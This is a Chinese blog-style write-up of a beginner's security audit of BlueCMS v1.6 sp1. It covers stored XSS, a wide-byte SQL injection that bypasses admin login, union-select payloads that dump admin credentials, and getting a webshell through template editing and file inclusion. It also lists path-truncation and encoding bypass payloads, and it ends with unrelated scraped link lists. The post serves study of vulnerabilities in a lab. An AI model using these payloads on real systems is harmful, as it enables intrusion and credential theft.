初审blucms(入坑)
作为一名初来乍到审计小白,从blueCMS入手再好不过了。通过对入门级的cms进行审计以及一个整体的框架和常见的漏洞学习,对个人而言是一次不错的学习经历。话不多说直接进入主题。
代码审计环境
BlueCMS v1.6 sp1源码
php+Apache(phpstudy等集成环境 PHP>=4.3.0,MYSQL>=4.1)
seay审计工具
审计前言
blueCMS是一个比较小众而且适合入门学习审计的CMS,从刚爆出漏洞至今网上已经有很多审计文章,大多都是两个熟知漏洞转来转去。但作为初入的小白自然不能满足。
所以对于这次入门决定花一些时间进去以记录一下审计过程中的困难和解决思路。
此次代码审计采用黑盒+白盒,能更好的了解漏洞产生的原因还有利用方法。
cms环境安装
源码链接:https://pan.baidu.com/s/1RxyG1Akpp_EZOoBoRtuuaQ 提取码:tj9s
流程:将bluecms文件夹放到WWW中,访问uploads下的install
默认安装能够访问upload即为成功
审计开始
blueCMS整体分析
在bluecms中主要的核心代码在/include文件中,/admin是只有管理员才能访问,/data存放一些配置文件,数据库配置文件等。/install文件是在安装时候需要访问。但是假如说在安装完后/install没有删除而且可以继续访问/install重新安装,这样子就可以重置数据拿到管理员密码和权限。
渗透过程第一个漏洞:xss漏洞
当我们点开一个站点,一般来讲正常操作是注册->登录->浏览文章,所以第一步我们要在注册界面寻找漏洞。那么我们要先注册账户。
在注册中,出现了好多输入框,于是我在想可不可以尝试一下xss弹窗呢?
正常的填写注册,在抓包,然后将数据包拦截
防止js前端检测,所以我在pwd中间加上的测试xss函数,send后成功弹窗
在网页源码中可以看到js恶意代码,说明这里存在一个存储型xss
渗透过程中第二个漏洞:sql注入漏洞
现在知道存在一个xss点,然后我在想在username和password处会不会存在sql注入呢?
在yrl地址中试了一下/admin 直接跳转到/admin/login.php文件下
先是正常测试了下用户名admin' or 1=1/1=2 密码admin
然后是无引号测试发现均为账户或密码错误
起初我是觉得没有漏洞的。 之后回看源码发现,在这里
由于默认使用的是gbk编码,我们已知当编码为gbk等双字节编码时,容易发生宽字节注入。(宽字节原理:两个字节以上叫宽字节,当我们测试的时候,输入“%df‘”,这个时候如果php函数是使用的addslashes()的时候,会在冒号的前面加上’\’。也就变成了%df\’ 。对应的编码是%df%5c’.这时候网站字符集是GBK,mysql使用的是gbk编码的时候,默认认为两个字符为一个汉字。当网站过滤的机制是采用转义\的时候,我们可以在网站添加的转义符号前面构造一个%xx使得变成%xx%5c而被mysql认为是一个汉字,从而绕过转义。宽字节注入最长用的时%df,或者使用ascii码大于128的也可以 ,一般用129。)
漏洞利用
抓包修改admin_name=admin%df%27+or+1%3D1%23
明文就是%df’ or 1=1#
单引号被转义后变成%df’ or 1=1#
宽字节注入是利用mysql的一个特性,因为gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“運”,而单引号逃逸了出来,就可以成功闭合sql语句了
再加上后面的or 1=1 #就构造成了永真语句,可以成功免密登录管理员后台了
现在是admin权限,接下来就是寻找管理员权限下可以进行的操作并寻找漏洞。
渗透过程中第三个漏洞:文件包含漏洞
登陆到admin,dirsearch一梭子找到模板管理,/admin/tpl_manage.php
然后点开编辑打开一个链接,在编辑处写入一句话木马,然后点击保存。
利用文件包含进入到上上层目录下的info.php,进入info.php后写入一句话木马,直接菜刀连接获得web权限
以上是我在安装cms后未知源码渗透的过程发现的漏洞(一个人渗透时候弄出来的,没有参考没有参考)。
接下来就是代码审计使用seay代码审计工具。
漏洞1(sql注入):在文件ad_js.php中存在sql注入
empty()函数用于检查一个变量是否为空。trim()函数移除字符串中的字符。这部分代码可以看到ad_id参数通过get得到,判断是否为空,不为空,则没过滤地带入getone函数进行查询。
进到getone()函数中 (getone()是自定义的函数,用来查询数据库。) 然后定位函数发现在/include/mysql.class.php文件中,然后进入函数看看有没有什么过滤。
function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}
跳转到getone函数,然后没有任何过滤可直接执行sql语句,所以可以进行sql注入。
漏洞利用
第一种方法(手工注入)
先访问ad_js.php,会跳转到/ad_js.php?ad_id=1
看到ad_id=1就舒服很多,先是手注
先查看多少字段
?ad_id=1 order by 7
order by 8的时候会报错
查看一下哪里有回显
?ad_id=1 union select 1,2,3,4,5,6,7
在7处有回显,所以开始在7处构造payload
查看当前数据库
?ad_id=1 union select 1,2,3,4,5,6,database()
爆表名
?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
(这个表名确实多的离谱)主要看blue_admin这张表看
爆列名
?ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e
获取用户名密码
?ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin
其中在/admin/user.php文件中,通过POST传参后经过if语句判断到达$sql语句,在这句话中values值中的pwd进行了md5加密。
第二种方法(sqlmap跑一梭)
基本的sqlmap使用方法就不都多说了。
漏洞2(xss漏洞):在ad_js.php文件中
通过对ad_js.php文件进行审计后发现反射型的xss几乎在sql注入漏洞的同时伴随着xss。
漏洞利用
在该文件的sql注入漏洞处,由于源码中没有任何过滤,可以直接将xss恶意语句写到地址栏中可成功执行
漏洞3(任意文件包含漏洞):在user.php中
因为在黑盒测试的过程中通过抓包可以看到POST传参时会顺在着act参数用来做位置判断,这段源码中存在文件包含,分析代码,我们发现$_POST['pay']并没有做多余的安全检测,直接进行拼接,所以我们的重点是考虑如何截断。
漏洞利用
先在根目录上放上test.php (test.php下写入phpinfo)然后先访问一下
然后找到用户登录下的金币充值,点击购买后出现此界面,抓包点击在线支付
先尝试下%00,
payload:../../test.php
发现%00没有反应,应该是代码中对%00进行了转译。然后我们考虑一下利用文件路径长度截断,如用字符.或者/.或者./来截断。但是经过尝试后发现只有点截断可行。
payload:pay=../../1.php........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
但是这个地方我们是先在本地存放了个test.php文件,然后通过截断方式读取到test.php的。利用这个方式我们可不可以getshell呢?所以现在我们的思路是如何利用文件包含getshell。思路:寻找一个可以上传点,上传一个带木马的jpg文件,利用文件包含漏洞包含jpg文件,拿shell。
打开个人资料,存在一处上传头像。可以上传一个图片马,然后通过蚁剑菜刀链接,实践开始。因为没有过滤,所以直接上传成功了。
一句话木马内容:
上传:
上传成功后包含文件data/upload/face_pic/16117683204.jpg,同时在文件根目录中会生成shell.php
菜刀连接成功:
本地文件包含知识
点号截断:
?file=../../../../../../../../../boot.ini/………[…]…………
(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256,y因为在windows下路径超过256个字符后的东西会被舍弃)%00截断:
?file=../../../../../../../../../etc/passwd%00
(php 版本<= 5.3的才有。例如test.php%00.jpg,这时就会去掉%00后面的字符串。所以程序读取时候就变成了test.php)0x00截断:
?file=../../../../../../../../../var/www/%00
(需要 magic_quotes_gpc=off,unix 文件系统,比如 FreeBSD,OpenBSD,NetBSD,Solaris)路径长度截断:
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
(php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256
利用操作系统对目录最大长度的限制,可以不需要 0 字节而达到截断的目的,在 window 下 256 字节、linux 下 4096 字节时会达到最大值,最大值长度之后的字符将被丢弃。而利用 "./" 的方式即可构造出超长目录字符串.)编码绕过:
../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/
..\ -》 %2e%2e%5c -》 ..%5c -》 %2e%2e
(如果服务器对../ 等做一些过滤,可以用一些编码来进行绕过.注:必要情况下可以进行二次编码)
初审blucms(入坑)的更多相关文章
- RoboGuice 3.0 (一)入坑篇
RoboGuice是什么? 一个Android上的依赖注入框架. 依赖注入是什么? 从字面理解,这个框架做了两件事情,第一是去除依赖,第二是注入依赖.简单理解就是,将对象的初始化委托给一个容器控制器, ...
- [SSIS] 在脚本里面使用数据库连接字符串进行查询等处理, 入坑
入坑.!!!!! SSIS 中dts包 设置的 ADO.Net连接, 在传入脚本的时候, 我要使用 数据库连接,进行数据的删除操作. 于是我使用了 了如下的 代码 使用的是windows 身份验证, ...
- webpack入坑之旅(六)配合vue-router实现SPA
这是一系列文章,此系列所有的练习都存在了我的github仓库中vue-webpack,在本人有了新的理解与认识之后,会对文章有不定时的更正与更新.下面是目前完成的列表: webpack入坑之旅(一)不 ...
- webpack入坑之旅(五)加载vue单文件组件
这是一系列文章,此系列所有的练习都存在了我的github仓库中vue-webpack,在本人有了新的理解与认识之后,会对文章有不定时的更正与更新.下面是目前完成的列表: webpack入坑之旅(一)不 ...
- webpack入坑之旅(四)扬帆起航
这是一系列文章,此系列所有的练习都存在了我的github仓库中vue-webpack,在本人有了新的理解与认识之后,会对文章有不定时的更正与更新.下面是目前完成的列表: webpack入坑之旅(一)不 ...
- webpack入坑之旅(三)webpack.config入门
这是一系列文章,此系列所有的练习都存在了我的github仓库中vue-webpack,在本人有了新的理解与认识之后,会对文章有不定时的更正与更新.下面是目前完成的列表: webpack入坑之旅(一)不 ...
- webpack入坑之旅(二)loader入门
这是一系列文章,此系列所有的练习都存在了我的github仓库中vue-webpack 在本人有了新的理解与认识之后,会对文章有不定时的更正与更新.下面是目前完成的列表: webpack入坑之旅(一)不 ...
- webpack入坑之旅(一)不是开始的开始
最近学习框架,选择了vue,然后接触到了vue中的单文件组件,官方推荐使用 Webpack + vue-loader构建这些单文件 Vue 组件,于是就开始了webpack的入坑之旅.因为原来没有用过 ...
- gulp入坑系列(2)——初试JS代码合并与压缩
在上一篇里成功安装了gulp到项目中,现在来测试一下gulp的合并与压缩功能 gulp入坑系列(1)--安装gulp(传送门):http://www.cnblogs.com/YuuyaRin/p/61 ...
随机推荐
- 用 Java 训练出一只“不死鸟”
作者:Kingyu & Lanking FlappyBird 是 2013 年推出的一款手机游戏,因其简单的玩法但极度困难的设定迅速走红全网.随着深度学习(DL)与增强学习(RL)等前沿算法的 ...
- C#中RDLC报表中日期显示格式
转换为日期类型再格式化 =CDate(Fields!UseDate.Value).ToString("yyyy-MM-dd") 使用Format ==Format(Fields!C ...
- 工具类输出当前ApplicationContext所有被装配的类
package org.springblade.desk.utils; import org.springframework.beans.BeansException; import org.spri ...
- 记一次诡异的debug
idea debug的时候会开启一个线程之行 toString,所以我们一般不要在toString 做什么操作. 目前在读spring解析自定义标签的源. 解析过程中在XmlBeanDefinitio ...
- [leetcode]TwoSum系列问题
1.普通数组找两个数,哈希表建立数值和下标的映射,遍历时一边判断一边添加 /* 哇,LeetCode的第一题...啧啧 */ public int [] twoSum(int[] nums, int ...
- [leetcode]404. Sum of Left Leaves左叶子之和
弄个flag记录是不是左节点就行 int res = 0; public int sumOfLeftLeaves(TreeNode root) { if (root==null) return res ...
- Docker容器技术--自定义网桥后的默认网卡名称
新建docker虚拟网络命令 这里以172.18.0.1为例,名字为clusterdocker network create --subnet=172.18.0.0/16 cluster 当我们想新建 ...
- 一次MySQL死锁的排查记录
前几天线上收到一条告警邮件,生产环境MySQL操作发生了死锁,邮件告警的提炼出来的SQL大致如下. update pe_order_product_info_test set end_time = ' ...
- sql操作数据库(3)-->外键约束、数据库表之间的关系、三大范式、多表查询、事务
外键约束 在新表中添加外键约束语法: constraint 外键约束名称 foreign key(外键的字段名称) references 主表表名(主键字段名) 在已有表中添加外键约束:alter t ...
- TCP三次握手(通俗易懂)
一--导读 前不久中国和外国RPEC协议的签订,标志着东亚自贸区的建立成功.现在韩国和日本要做贸易.日本一直监听着韩国总统的一举一动,但他又不会主动.(服务器的监听状态)只是被动的等着韩国总统先开口. ...